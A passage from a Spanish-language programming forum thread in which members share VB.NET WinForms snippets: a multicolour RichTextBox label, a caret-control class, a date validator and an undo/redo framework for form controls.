rtb.BorderStyle = System.Windows.Forms.BorderStyle.None
rtb.ReadOnly = True
rtb.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.None
End Sub
Public Shared Sub AddTextWithColor(ByVal sText As String, ByVal oColor As Color, ByVal rtb As RichTextBox)
Dim index As Integer
index = rtb.TextLength
rtb.AppendText(sText)
rtb.SelectionStart = index
rtb.SelectionLength = rtb.TextLength - index
rtb.SelectionColor = oColor
rtb.BorderStyle = System.Windows.Forms.BorderStyle.None
rtb.ReadOnly = True
rtb.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.None
End Sub
End Class
Un saludo. >:D
Cita de: Ikillnukes en 5 Julio 2013, 12:43 PM
Añadir difentes estilos a un "Label" (en realidad se usa un RichTextBox >:D)
Se puede mejorar muy mucho, para evitar todas las cosas que dije... aquí tienes:
Add_Text_With_Color(RichTextBox1, "algo de texto con Arial al 12", RichTextBox1.ForeColor, New Font("Arial", 12, FontStyle.Bold))
Add_Text_With_Color(RichTextBox1, " ROOOJOOORL xD", Color.Red)
Add_Text_With_Color(RichTextBox1, Environment.NewLine & "nueva linea y algo de texto", Color.Black)
Public Sub Add_Text_With_Color(ByVal richTextBox As RichTextBox, _
ByVal text As String, _
ByVal color As Color, _
Optional ByVal font As Font = Nothing)
richTextBox.Enabled = False
richTextBox.BorderStyle = BorderStyle.None
richTextBox.ScrollBars = RichTextBoxScrollBars.None
Dim index As Int32 = richTextBox.TextLength
richTextBox.AppendText(text)
richTextBox.SelectionStart = index
richTextBox.SelectionLength = richTextBox.TextLength - index
richTextBox.SelectionColor = color
If font IsNot Nothing Then richTextBox.SelectionFont = font
End Sub
Saludos
Tás colao, necesitas poner un Public Shared Sub y no un Public Sub na más. >:D
Por cierto, muchas gracias, como siempre mejorando mi Snippets... A ver si algún día es de al revés. ;) :laugh:
Cita de: Ikillnukes en 5 Julio 2013, 13:34 PMTás colao, necesitas poner un Public Shared Sub y no un Public Sub na más. >:D
No me he colado
Ikillnukes, el shared no es obligatorio, eso depende de las necesidades. En el snippet original hay una Class para meter dos mini procedimientos, en mi snippet como ves no hay ninguna Class externa y los dos procedimientos están simplificados en sólo uno, si necesitas sharearla pues hazlo.
Si lo quieres llamar desde otra class:
Form1.Add_Text_With_Color(Form1.RichTextBox1, "lo que sea", Color.AliceBlue)Saludos
Un RichTextBox optimizado para usarse como alternativa de Label , es un Label con posibilidad de añadir texto en distintos colores y en distintas fuentes.
(http://img24.imageshack.us/img24/355/ax8b.png)
' /* *\
' |#* RichTextLabel *#|
' \* */
'
' // By Elektro H@cker
'
' Description:
' ............
' · A RichTextbox used as a Label to set text using various colors.
'
' Methods:
' ........
' · AppendText (Overload)
' Examples:
' RichTextLabel1.AppendText("My ", Color.White, , New Font("Arial", 12, FontStyle.Bold))
' RichTextLabel1.AppendText("RichText-", Color.White, , New Font("Arial", 12, FontStyle.Bold))
' RichTextLabel1.AppendText("Label", Color.YellowGreen, Color.Black, New Font("Lucida console", 16, FontStyle.Italic))
Imports System.ComponentModel
Public Class RichTextLabel : Inherits RichTextBox
Public Sub New()
MyBase.Enabled = False
MyBase.Size = New Point(200, 20)
End Sub
#Region " Overrided Properties "
''' <summary>
''' Turn the control backcolor to transparent.
''' </summary>
Protected Overrides ReadOnly Property CreateParams() As CreateParams
Get
Dim cp As CreateParams = MyBase.CreateParams
cp.ExStyle = (cp.ExStyle Or 32)
Return cp
End Get
End Property
#End Region
#Region " Shadowed Properties "
' AcceptsTab
' Just hidden from the designer and editor.
<Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property AcceptsTab() As Boolean
Get
Return MyBase.AcceptsTab
End Get
Set(value As Boolean)
MyBase.AcceptsTab = False
End Set
End Property
' AutoWordSelection
' Just hidden from the designer and editor.
<Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property AutoWordSelection() As Boolean
Get
Return MyBase.AutoWordSelection
End Get
Set(value As Boolean)
MyBase.AutoWordSelection = False
End Set
End Property
' BackColor
' Not hidden, but little hardcoded 'cause the createparams transparency.
<Browsable(True), EditorBrowsable(EditorBrowsableState.Always)>
Public Shadows Property BackColor() As Color
Get
Return MyBase.BackColor
End Get
Set(value As Color)
MyBase.SelectionStart = 0
MyBase.SelectionLength = MyBase.TextLength
MyBase.SelectionBackColor = value
MyBase.BackColor = value
End Set
End Property
' BorderStyle
' Just hidden from the designer and editor.
<Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property BorderStyle() As BorderStyle
Get
Return MyBase.BorderStyle
End Get
Set(value As BorderStyle)
MyBase.BorderStyle = BorderStyle.None
End Set
End Property
' Cursor
' Hidden from the designer and editor,
' because while the control is disabled the cursor always be the default even if changed.
<Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property Cursor() As Cursor
Get
Return MyBase.Cursor
End Get
Set(value As Cursor)
MyBase.Cursor = Cursors.Default
End Set
End Property
' Enabled
' Hidden from the but not from the editor,
' because to prevent exceptions when doing loops over a control collection to disable/enable controls.
<Browsable(False), EditorBrowsable(EditorBrowsableState.Always)>
Public Shadows Property Enabled() As Boolean
Get
Return MyBase.Enabled
End Get
Set(value As Boolean)
MyBase.Enabled = False
End Set
End Property
' HideSelection
' Just hidden from the designer and editor.
<Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property HideSelection() As Boolean
Get
Return MyBase.HideSelection
End Get
Set(value As Boolean)
MyBase.HideSelection = True
End Set
End Property
' MaxLength
' Just hidden from the designer and editor.
<Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property MaxLength() As Integer
Get
Return MyBase.MaxLength
End Get
Set(value As Integer)
MyBase.MaxLength = 2147483646
End Set
End Property
' ReadOnly
' Just hidden from the designer and editor.
<Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property [ReadOnly]() As Boolean
Get
Return MyBase.ReadOnly
End Get
Set(value As Boolean)
MyBase.ReadOnly = True
End Set
End Property
' ScrollBars
' Just hidden from the designer and editor.
<Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property ScrollBars() As RichTextBoxScrollBars
Get
Return MyBase.ScrollBars
End Get
Set(value As RichTextBoxScrollBars)
MyBase.ScrollBars = RichTextBoxScrollBars.None
End Set
End Property
' ShowSelectionMargin
' Just hidden from the designer and editor.
<Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property ShowSelectionMargin() As Boolean
Get
Return MyBase.ShowSelectionMargin
End Get
Set(value As Boolean)
MyBase.ShowSelectionMargin = False
End Set
End Property
' TabStop
' Just hidden from the designer and editor.
<Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property TabStop() As Boolean
Get
Return MyBase.TabStop
End Get
Set(value As Boolean)
MyBase.TabStop = False
End Set
End Property
#End Region
#Region " Funcs & Procs "
''' <summary>
''' Append text to the current text.
''' </summary>
''' <param name="text">The text to append</param>
''' <param name="forecolor">The font color</param>
''' <param name="backcolor">The Background color</param>
''' <param name="font">The font of the appended text</param>
Public Overloads Sub AppendText(ByVal text As String, _
ByVal forecolor As Color, _
Optional ByVal backcolor As Color = Nothing, _
Optional ByVal font As Font = Nothing)
Dim index As Int32 = MyBase.TextLength
MyBase.AppendText(text)
MyBase.SelectionStart = index
MyBase.SelectionLength = MyBase.TextLength - index
MyBase.SelectionColor = forecolor
If Not backcolor = Nothing _
Then MyBase.SelectionBackColor = backcolor _
Else MyBase.SelectionBackColor = DefaultBackColor
If font IsNot Nothing Then MyBase.SelectionFont = font
' Reset selection
MyBase.SelectionStart = MyBase.TextLength
MyBase.SelectionLength = 0
End Sub
#End Region
End Class
Una Class que hice para manejar las API's del Caret.
[youtube=640,360]http://www.youtube.com/watch?v=7ZKRnT7qll4&feature=youtu.be[/youtube]
#Region " Caret "
' [ Caret Class ]
'
' // By Elektro H@cker
'
' Examples:
' Dim bmp As New Bitmap("C:\Image.jpg")
' Caret.Create(TextBox1, 7)
' Caret.Create(TextBox1, bmp, 20)
' Caret.BlinkTime(500)
' Caret.Hide(TextBox1)
' Caret.Show(TextBox1)
' Caret.Destroy()
Public Class Caret
#Region " API's "
Private Declare Function CreateCaret Lib "user32" (ByVal hwnd As IntPtr, ByVal hBitmap As IntPtr, ByVal nWidth As Int64, ByVal nHeight As Int64) As Int64
Private Declare Function HideCaret Lib "user32" (ByVal hwnd As IntPtr) As Int64
Private Declare Function ShowCaret Lib "user32" (ByVal hwnd As IntPtr) As Int64
Private Declare Function SetCaretBlinkTime Lib "user32" (ByVal wMSeconds As Int64) As Int64
Private Declare Function SetCaretPos Lib "user32" (ByVal x As Int64, ByVal y As Int64) As Int64
Private Declare Function DestroyCaret Lib "user32" () As Int64
#End Region
#Region " Funcs & Procs "
''' <summary>
''' Create a new caret.
''' </summary>
''' <param name="ctrl">The name of the control.</param>
''' <param name="Width">The Width of the caret cursor.</param>
''' <param name="Height">The name of the caret cursor.</param>
Public Shared Sub Create(ByVal ctrl As Control, _
ByVal Width As Int32, _
Optional ByVal Height As Int32 = 0)
If Height = 0 Then
CreateCaret(ctrl.Handle, IntPtr.Zero, Width, (ctrl.Font.Size * 2))
Else
CreateCaret(ctrl.Handle, IntPtr.Zero, Width, Height)
End If
Show(ctrl)
End Sub
''' <summary>
''' Create a new caret with Bitmap image.
''' </summary>
''' <param name="ctrl">The name of the control.</param>
''' <param name="bmp">The Bitmap image to use.</param>
''' <param name="Width">The Width of the caret cursor.</param>
''' <param name="Height">The name of the caret cursor.</param>
Public Shared Sub Create(ByVal ctrl As Control, _
ByVal bmp As Bitmap, _
ByVal Width As Int32, _
Optional ByVal Height As Int32 = 0)
If Height = 0 Then
bmp = Resize_Bitmap(bmp, Width, (ctrl.Font.Size * 2))
CreateCaret(ctrl.Handle, bmp.GetHbitmap, Width, (ctrl.Font.Size * 2))
Else
bmp = Resize_Bitmap(bmp, Width, Height)
CreateCaret(ctrl.Handle, bmp.GetHbitmap, Width, Height)
End If
Show(ctrl)
End Sub
''' <summary>
''' Hide the caret.
''' </summary>
''' <param name="ctrl">The name of the control.</param>
Public Shared Sub Hide(ByVal ctrl As Control)
HideCaret(ctrl.Handle)
End Sub
''' <summary>
''' Show the caret.
''' </summary>
''' <param name="ctrl">The name of the control.</param>
Public Shared Sub Show(ByVal ctrl As Control)
ShowCaret(ctrl.Handle)
End Sub
''' <summary>
''' Set the blinking time of the caret.
''' </summary>
''' <param name="ms">Blink interval in Milliseconds.</param>
Public Shared Sub BlinkTime(ByVal ms As Int64)
SetCaretBlinkTime(ms)
End Sub
''' <summary>
''' Set the position of the caret.
''' </summary>
''' <param name="x">X coordinate.</param>
''' <param name="y">Y coordinate.</param>
Public Shared Sub Position(ByVal X As Int32, ByVal Y As Int32)
SetCaretPos(X, Y)
End Sub
''' <summary>
''' Destroy the caret.
''' </summary>
Public Shared Sub Destroy()
DestroyCaret()
End Sub
' Resizes a Bitmap Image
Private Shared Function Resize_Bitmap(ByVal bmp As Bitmap, ByVal Width As Int32, ByVal Height As Int32) As Bitmap
Dim Bitmap_Source As New Bitmap(bmp)
Dim Bitmap_Dest As New Bitmap(CInt(Width), CInt(Height))
Dim Graphic As Graphics = Graphics.FromImage(Bitmap_Dest)
Graphic.DrawImage(Bitmap_Source, 0, 0, Bitmap_Dest.Width + 1, Bitmap_Dest.Height + 1)
Return Bitmap_Dest
End Function
#End Region
End Class
#End Region
Validar una fecha:
#Region " Validate Date "
' [ Validate Date Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Validate_Date("29-02-2013")) ' Result: False
' MsgBox(Validate_Date("29-02-2016")) ' Result: True
' MsgBox(Validate_Date("01/01/2014")) ' Result: True
Private Function Validate_Date(ByVal [Date] As String) As Boolean
Return Date.TryParse([Date], New Date)
End Function
#End Region
PD: @Novlucker, sé que es muy cortito, pero útil para quien no sepa! :P
Integración para deshacer/rehacer (Undo/Redo) para estos controles:
TextBox
ComboBox
DateTimePicker
NumericUpDown
MaskedTextBox
ListBox (single and multi-select)
CheckBox
RadioButton
MonthCalendar
INSTRUCCIONES:
1. copiar las siguientes classes en el proyecto:
'******************************************************************************************************************
' Undo/Redo framework (c) Copyright 2009 Etienne Nijboer
'******************************************************************************************************************
Public Enum UndoRedoCommandType
ctNone
ctUndo
ctRedo
End Enum
Public Class UndoRedoManager
#Region "UndoRedoMonitor auto register types"
Private Shared RegisteredUndoRedoMonitorTypes As List(Of Type) = Nothing
' ScanAssembly
' The first created UndoRedoMonitor will scan the assembly for BaseUndoRedoMonitors and
' store these types in the monitor type list.
'
Private Shared Sub ScanAssembly()
If RegisteredUndoRedoMonitorTypes Is Nothing Then
RegisteredUndoRedoMonitorTypes = New List(Of Type)
Dim AssemblyTypes() As Type = Reflection.Assembly.GetExecutingAssembly().GetTypes()
Dim BaseUndoRedoMonitorType As Type = GetType(BaseUndoRedoMonitor)
For Each typeItem As Type In AssemblyTypes
If typeItem.BaseType Is BaseUndoRedoMonitorType Then
RegisteredUndoRedoMonitorTypes.Add(typeItem)
End If
Next
End If
End Sub
#End Region
Private Control As Control = Nothing
Private UndoRedoMonitors As List(Of BaseUndoRedoMonitor)
Private ExcludeControls As List(Of Control)
' InitializeUndoRedoMonitors
' When a new UndoRedoManager instance is created, a new instance of each registered monitor
' is created and used only within the scope of this UndoRedoManager, preventing temporary data
' moved to another UndoRedoManager. This is because Each form, or group control like a panel
' to make seperate undo/redo groups on a single form, can have it's own UndoRedoManager. It is
' of course also possible to use one global UndoRedoManager for multiple forms. This lets you
' control how data is seperated or combined, depending on the relation between te undo/redo commands.
Private Sub InitializeUndoRedoMonitors()
ScanAssembly()
UndoRedoMonitors = New List(Of BaseUndoRedoMonitor)
For Each typeItem In RegisteredUndoRedoMonitorTypes
UndoRedoMonitors.Add(Activator.CreateInstance(typeItem, Me))
Next
End Sub
Public Sub New()
InitializeUndoRedoMonitors()
End Sub
Public Sub New(ByVal AControl As Control)
Me.New(AControl, New List(Of Control))
End Sub
Public Sub New(ByVal AControl As Control, ByVal AExcludeControls As List(Of Control))
Me.New()
ExcludeControls = AExcludeControls
MonitorControl(AControl)
End Sub
Public Sub New(ByVal AControl As Control, ByVal ParamArray AExcludeControls() As Control)
Me.New(AControl, AExcludeControls.ToList)
End Sub
' MonitorControl
' If a given control is not in the list of controls to exclude from undo/redo actions,
' an attempt is made to attach it to a matching UndoRedoMonitor. If no direct match is
' found, a same attempt is made for each control contained within the control recursively.
Private Sub MonitorControl(ByVal AControl As Control)
If Not ExcludeControls.Contains(AControl) Then
If Not BindMonitor(AControl) Then
For Each ctl As Control In AControl.Controls
MonitorControl(ctl)
Next
End If
End If
End Sub
' BindMonitor
' An attempt is made to bind the control to a each registered monitor. When a match is
' found the search ends and the function will return true, false otherwise meaning there
' is no specific UndoRedoMonitor for this control.
Private Function BindMonitor(ByVal AControl As Control) As Boolean
Dim index As Integer = UndoRedoMonitors.Count - 1, result As Boolean = False
While index >= 0 And Not result
result = UndoRedoMonitors(index).Monitor(AControl)
index -= 1
End While
Return result
End Function
Public Sub Monitor(ByVal AControl As Control)
MonitorControl(AControl)
End Sub
Private undoStack As Stack(Of BaseUndoRedoCommand) = New Stack(Of BaseUndoRedoCommand)
Private redoStack As Stack(Of BaseUndoRedoCommand) = New Stack(Of BaseUndoRedoCommand)
Private _undoRedoCommand As UndoRedoCommandType = UndoRedoCommandType.ctNone
Private _canUndo As Boolean = False
Private _canRedo As Boolean = False
Public Event CanUndoChanged(ByVal Sender As Object, ByVal CanUndo As Boolean)
Public Event CanRedoChanged(ByVal Sender As Object, ByVal CanRedo As Boolean)
Public Event UndoRedoStacksChanged(ByVal Sender As Object)
Private Sub UpdateCanUndoRedo()
Dim isCanUndoChanged As Boolean = Not (undoStack.Count > 0) = _canUndo, _
isCanRedoChanged As Boolean = Not (redoStack.Count > 0) = _canRedo
_canUndo = undoStack.Count > 0
_canRedo = redoStack.Count > 0
If isCanUndoChanged Then
RaiseEvent CanUndoChanged(Me, _canUndo)
End If
If isCanRedoChanged Then
RaiseEvent CanRedoChanged(Me, _canRedo)
End If
RaiseEvent UndoRedoStacksChanged(Me)
End Sub
Public ReadOnly Property isUndoing() As Boolean
Get
Return _undoRedoCommand = UndoRedoCommandType.ctUndo
End Get
End Property
Public ReadOnly Property isRedoing() As Boolean
Get
Return _undoRedoCommand = UndoRedoCommandType.ctRedo
End Get
End Property
Public ReadOnly Property isPerformingUndoRedo() As Boolean
Get
Return _undoRedoCommand <> UndoRedoCommandType.ctNone
End Get
End Property
Public ReadOnly Property CanUndo() As Boolean
Get
Return _canUndo
End Get
End Property
Public ReadOnly Property CanRedo() As Boolean
Get
Return _canRedo
End Get
End Property
Public Sub AddUndoCommand(ByVal UndoRedoCommand As BaseUndoRedoCommand)
If Not isUndoing Then
undoStack.Push(UndoRedoCommand)
If Not isRedoing Then
redoStack.Clear()
UpdateCanUndoRedo()
End If
End If
End Sub
Public Sub AddRedoCommand(ByVal UndoRedoCommand As BaseUndoRedoCommand)
If Not isRedoing Then
redoStack.Push(UndoRedoCommand)
If Not isUndoing Then
UpdateCanUndoRedo()
End If
End If
End Sub
Public Sub AddCommand(ByVal UndoRedoCommandType As UndoRedoCommandType, ByVal UndoRedoCommand As BaseUndoRedoCommand)
Select Case UndoRedoCommandType
Case UndoRedoCommandType.ctUndo
AddUndoCommand(UndoRedoCommand)
Case UndoRedoCommandType.ctRedo
AddRedoCommand(UndoRedoCommand)
Case Else
Throw New Exception("An undo or redo command could not be accepted.")
End Select
End Sub
Public Sub Undo()
If CanUndo Then
'Try
_undoRedoCommand = UndoRedoCommandType.ctUndo
undoStack.Pop.Undo()
'Catch e As Exception
'Finally
UpdateCanUndoRedo()
_undoRedoCommand = UndoRedoCommandType.ctNone
'End Try
End If
End Sub
Public Sub Redo()
If CanRedo Then
_undoRedoCommand = UndoRedoCommandType.ctRedo
redoStack.Pop.Redo()
UpdateCanUndoRedo()
_undoRedoCommand = UndoRedoCommandType.ctNone
End If
End Sub
Protected Overrides Sub Finalize()
MyBase.Finalize()
End Sub
#Region "debug info"
Public Shared Function ArrayToString(ByVal ObjectArray() As Object) As String
Dim sb As New System.Text.StringBuilder
For Each item As Object In ObjectArray
sb.AppendLine(item.ToString)
Next
Return sb.ToString
End Function
Public Function GetUndoStack() As String
Return ArrayToString(undoStack.ToArray)
End Function
Public Function GetRedoStack() As String
Return ArrayToString(redoStack.ToArray)
End Function
Public Function GetRegisteredUndoRedoMonitorTypes() As String
Return ArrayToString(RegisteredUndoRedoMonitorTypes.ToArray)
End Function
#End Region
End Class
'******************************************************************************************************************
' Undo/Redo framework (c) Copyright 2009 Etienne Nijboer
'******************************************************************************************************************
Public MustInherit Class BaseUndoRedoMonitor
Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
_UndoRedoManager = AUndoRedoManager
End Sub
Private _UndoRedoManager As UndoRedoManager
Public Property UndoRedoManager() As UndoRedoManager
Get
Return _UndoRedoManager
End Get
Set(ByVal value As UndoRedoManager)
_UndoRedoManager = value
End Set
End Property
Public ReadOnly Property isUndoing() As Boolean
Get
Return UndoRedoManager.isUndoing
End Get
End Property
Public ReadOnly Property isRedoing() As Boolean
Get
Return UndoRedoManager.isRedoing
End Get
End Property
Public ReadOnly Property isPerformingUndoRedo() As Boolean
Get
Return UndoRedoManager.isPerformingUndoRedo
End Get
End Property
Public Sub AddCommand(ByVal UndoRedoCommandType As UndoRedoCommandType, ByVal UndoRedoCommand As BaseUndoRedoCommand)
UndoRedoManager.AddCommand(UndoRedoCommandType, UndoRedoCommand)
End Sub
Public MustOverride Function Monitor(ByVal AControl As Control) As Boolean
End Class
'****************************************************************************************************************
' SimpleControl
' Controls: TextBox, ComboBox, DateTimePicker, NumericUpDown, MaskedTextBox
'****************************************************************************************************************
Public Class SimpleControlMonitor : Inherits BaseUndoRedoMonitor
Private Data As String
Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
MyBase.New(AUndoRedoManager)
End Sub
Public Overrides Function Monitor(ByVal AControl As System.Windows.Forms.Control) As Boolean
If TypeOf AControl Is TextBox Or _
TypeOf AControl Is ComboBox Or _
TypeOf AControl Is DateTimePicker Or _
TypeOf AControl Is NumericUpDown Or _
TypeOf AControl Is ListView Or _
TypeOf AControl Is MaskedTextBox Then
AddHandler AControl.Enter, AddressOf Control_Enter
AddHandler AControl.Leave, AddressOf Control_Leave
Return True
End If
Return False
End Function
Private Sub Control_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs)
Data = CType(sender, Control).Text
End Sub
Private Sub Control_Leave(ByVal sender As System.Object, ByVal e As System.EventArgs)
Dim CurrentData As String = CType(sender, Control).Text
If Not String.Equals(CurrentData, Data) Then
AddCommand(UndoRedoCommandType.ctUndo, New SimpleControlUndoRedoCommand(Me, sender, Data))
End If
End Sub
End Class
'****************************************************************************************************************
' ListBox
'****************************************************************************************************************
Public Class ListBoxMonitor : Inherits BaseUndoRedoMonitor
Private Data As Object
Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
MyBase.New(AUndoRedoManager)
End Sub
Public Overrides Function Monitor(ByVal AControl As System.Windows.Forms.Control) As Boolean
If TypeOf AControl Is ListBox Then
AddHandler AControl.Enter, AddressOf Control_Enter
AddHandler CType(AControl, ListBox).SelectedIndexChanged, AddressOf Control_Changed
Return True
End If
Return False
End Function
Public Function GetSelected(ByVal AListBox As Object) As String
Dim Indices As List(Of String) = New List(Of String)
For Each itemIndex As Integer In CType(AListBox, ListBox).SelectedIndices
Indices.Add(CStr(itemIndex + 1))
Next
Return String.Join(",", Indices.ToArray)
End Function
Public Sub RestoreSelected(ByVal AListBox As Object, ByVal ASelection As String)
If Not String.IsNullOrEmpty(ASelection) Then
Dim Indices As List(Of Integer) = New List(Of Integer)(Array.ConvertAll(ASelection.Split(","), New Converter(Of String, Integer)(AddressOf Integer.Parse)))
Dim Control As ListBox = CType(AListBox, ListBox)
Select Case Control.SelectionMode
Case SelectionMode.None
Case SelectionMode.One
Control.SetSelected(Indices(0) - 1, True)
Case SelectionMode.MultiSimple, SelectionMode.MultiExtended
For index As Integer = 0 To Control.Items.Count - 1
Control.SetSelected(index, Indices.IndexOf(index + 1) >= 0)
Next
End Select
Else
CType(AListBox, ListBox).ClearSelected()
End If
End Sub
Private Sub Control_Changed(ByVal sender As System.Object, ByVal e As System.EventArgs)
' Events that are also fired when the undo/redo value is changed by code, like change events,
' it is important to make sure that no undo/redo command is added when performing a undo/redo action.
If Not isPerformingUndoRedo Then
Dim CurrentData As String = GetSelected(sender)
If Not String.Equals(Data, CurrentData) Then
AddCommand(UndoRedoCommandType.ctUndo, New ListBoxUndoRedoCommand(Me, sender, Data))
Data = CurrentData
End If
End If
End Sub
Private Sub Control_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs)
Data = GetSelected(sender)
End Sub
End Class
'****************************************************************************************************************
' CheckBox
'****************************************************************************************************************
Public Class CheckBoxMonitor : Inherits BaseUndoRedoMonitor
Private Data As CheckState
Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
MyBase.New(AUndoRedoManager)
End Sub
Public Overrides Function Monitor(ByVal AControl As System.Windows.Forms.Control) As Boolean
If TypeOf AControl Is CheckBox Then
AddHandler AControl.Enter, AddressOf Control_Enter
AddHandler AControl.Leave, AddressOf Control_Leave
Return True
End If
Return False
End Function
Private Sub Control_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs)
Data = CType(sender, CheckBox).CheckState
End Sub
Private Sub Control_Leave(ByVal sender As System.Object, ByVal e As System.EventArgs)
Dim CurrentData As CheckState = CType(sender, CheckBox).CheckState
If Data <> CurrentData Then
AddCommand(UndoRedoCommandType.ctUndo, New CheckBoxUndoRedoCommand(Me, sender, Data))
End If
End Sub
End Class
'****************************************************************************************************************
' RadioButton
'****************************************************************************************************************
Public Class RadioButtonMonitor : Inherits BaseUndoRedoMonitor
Private Data As RadioButton
Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
MyBase.New(AUndoRedoManager)
End Sub
Public Overrides Function Monitor(ByVal AControl As System.Windows.Forms.Control) As Boolean
If TypeOf AControl Is RadioButton Then
AddHandler CType(AControl, RadioButton).CheckedChanged, AddressOf Control_CheckedChanged
Return True
End If
Return False
End Function
Private Sub Control_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
' Events that are also fired when the undo/redo value is changed by code, like change events,
' it is important to make sure that no undo/redo command is added when performing a undo/redo action.
If Not isPerformingUndoRedo Then
If CType(sender, RadioButton).Checked Then
AddCommand(UndoRedoCommandType.ctUndo, New RadioButtonUndoRedoCommand(Me, sender, Data))
Else
Data = sender
End If
End If
End Sub
End Class
'****************************************************************************************************************
' MonthCalendar
'****************************************************************************************************************
Public Class MonthCalendarMonitor : Inherits BaseUndoRedoMonitor
Private Data As SelectionRange
Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
MyBase.New(AUndoRedoManager)
End Sub
Public Overrides Function Monitor(ByVal AControl As System.Windows.Forms.Control) As Boolean
If TypeOf AControl Is MonthCalendar Then
AddHandler AControl.Enter, AddressOf Control_Enter
AddHandler CType(AControl, MonthCalendar).DateSelected, AddressOf Control_DateSelected
Return True
End If
Return False
End Function
Private Sub Control_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs)
Data = CType(sender, MonthCalendar).SelectionRange
End Sub
Private Sub Control_DateSelected(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DateRangeEventArgs)
' Events that are also fired when the undo/redo value is changed by code, like selected events,
' it is important to make sure that no undo/redo command is added when performing a undo/redo action.
If Not isPerformingUndoRedo Then
Dim CurrentData As SelectionRange = CType(sender, MonthCalendar).SelectionRange
If Not SelectionRange.Equals(Data, CurrentData) Then
AddCommand(UndoRedoCommandType.ctUndo, New MonthCalendarUndoRedoCommand(Me, sender, Data))
Data = CurrentData
End If
End If
End Sub
End Class
'******************************************************************************************************************
' Undo/Redo framework (c) Copyright 2009 Etienne Nijboer
'******************************************************************************************************************
Public MustInherit Class BaseUndoRedoCommand
Private _UndoRedoMonitor As BaseUndoRedoMonitor
Private _UndoRedoControl As Control
Private _UndoRedoData As Object
Public ReadOnly Property UndoRedoMonitor() As BaseUndoRedoMonitor
Get
Return _UndoRedoMonitor
End Get
End Property
Public ReadOnly Property UndoRedoControl() As Control
Get
Return _UndoRedoControl
End Get
End Property
Protected Property UndoRedoData() As Object
Get
Return _UndoRedoData
End Get
Set(ByVal value As Object)
_UndoRedoData = value
End Set
End Property
Protected Sub New()
Throw New Exception("Cannot create instance with the default constructor.")
End Sub
Public Sub New(ByVal AUndoRedoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
Me.New(AUndoRedoMonitor, AMonitorControl, Nothing)
End Sub
Public Sub New(ByVal AUndoRedoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As Object)
_UndoRedoMonitor = AUndoRedoMonitor
_UndoRedoControl = AMonitorControl
_UndoRedoData = AUndoRedoData
End Sub
Protected Sub AddCommand(ByVal UndoRedoCommandType As UndoRedoCommandType, ByVal UndoRedoCommand As BaseUndoRedoCommand)
UndoRedoMonitor.AddCommand(UndoRedoCommandType, UndoRedoCommand)
End Sub
Public Overridable Sub Undo()
AddCommand(UndoRedoCommandType.ctRedo, Activator.CreateInstance(Me.GetType, UndoRedoMonitor, UndoRedoControl))
End Sub
Public Overridable Sub Redo()
AddCommand(UndoRedoCommandType.ctUndo, Activator.CreateInstance(Me.GetType, UndoRedoMonitor, UndoRedoControl))
End Sub
Public Overridable Sub Undo(ByVal RedoData As Object)
AddCommand(UndoRedoCommandType.ctRedo, Activator.CreateInstance(Me.GetType, UndoRedoMonitor, UndoRedoControl, RedoData))
End Sub
Public Overridable Sub Redo(ByVal UndoData As Object)
AddCommand(UndoRedoCommandType.ctUndo, Activator.CreateInstance(Me.GetType, UndoRedoMonitor, UndoRedoControl, UndoData))
End Sub
Public MustOverride Function CommandAsText() As String
Public Overrides Function ToString() As String
Return CommandAsText()
End Function
End Class
'****************************************************************************************************************
' SimpleControl
' Controls: TextBox, ComboBox, DateTimePicker, NumericUpDown, MaskedTextBox
'****************************************************************************************************************
Public Class SimpleControlUndoRedoCommand : Inherits BaseUndoRedoCommand
Protected ReadOnly Property UndoRedoText() As String
Get
Return CStr(UndoRedoData)
End Get
End Property
Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
MyBase.New(AUndoMonitor, AMonitorControl)
UndoRedoData = UndoRedoControl.Text
End Sub
Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As String)
MyBase.New(AUndoMonitor, AMonitorControl, AUndoRedoData)
End Sub
Public Overrides Sub Undo()
MyBase.Undo()
UndoRedoControl.Text = UndoRedoText
End Sub
Public Overrides Sub Redo()
MyBase.Redo()
UndoRedoControl.Text = UndoRedoText
End Sub
Public Overrides Function CommandAsText() As String
Return String.Format("Change to '{0}'", UndoRedoText)
End Function
End Class
'****************************************************************************************************************
' ListBox
'****************************************************************************************************************
Public Class ListBoxUndoRedoCommand : Inherits BaseUndoRedoCommand
Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
MyBase.New(AUndoMonitor, AMonitorControl)
UndoRedoData = GetSelection()
End Sub
Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As Object)
MyBase.New(AUndoMonitor, AMonitorControl, AUndoRedoData)
End Sub
Public ReadOnly Property Control() As ListBox
Get
Return CType(UndoRedoControl, ListBox)
End Get
End Property
